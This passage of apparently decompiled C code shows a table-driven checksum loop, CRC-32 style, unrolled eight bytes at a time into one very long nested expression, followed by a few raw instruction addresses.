							_t70 = _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4);
							_t61 =  &(_t61[1]);
							_t98 = _t98 - 1;
						} while (_t98 != 0);
						goto L7;
					}
					do {
						_t62 =  &(_t61[1]);
						_t63 =  &(_t62[1]);
						_t64 =  &(_t63[1]);
						_t65 =  &(_t64[1]);
						_t66 =  &(_t65[1]);
						_t67 =  &(_t66[1]);
						_t68 =  &(_t67[1]);
						_t70 = (((((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t67 & 0x000000ff ^ (((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t68 & 0x000000ff ^ ((((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t67 & 0x000000ff ^ (((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4);
						_t61 =  &(_t68[1]);
						_t98 = _t98 - 8;
					} while (_t98 > 7);
					goto L4;
				}
				return 0;
			}

0x0040805a
0x0040805d
0x00408060
0x0040806a
0x00408070
0x00408075
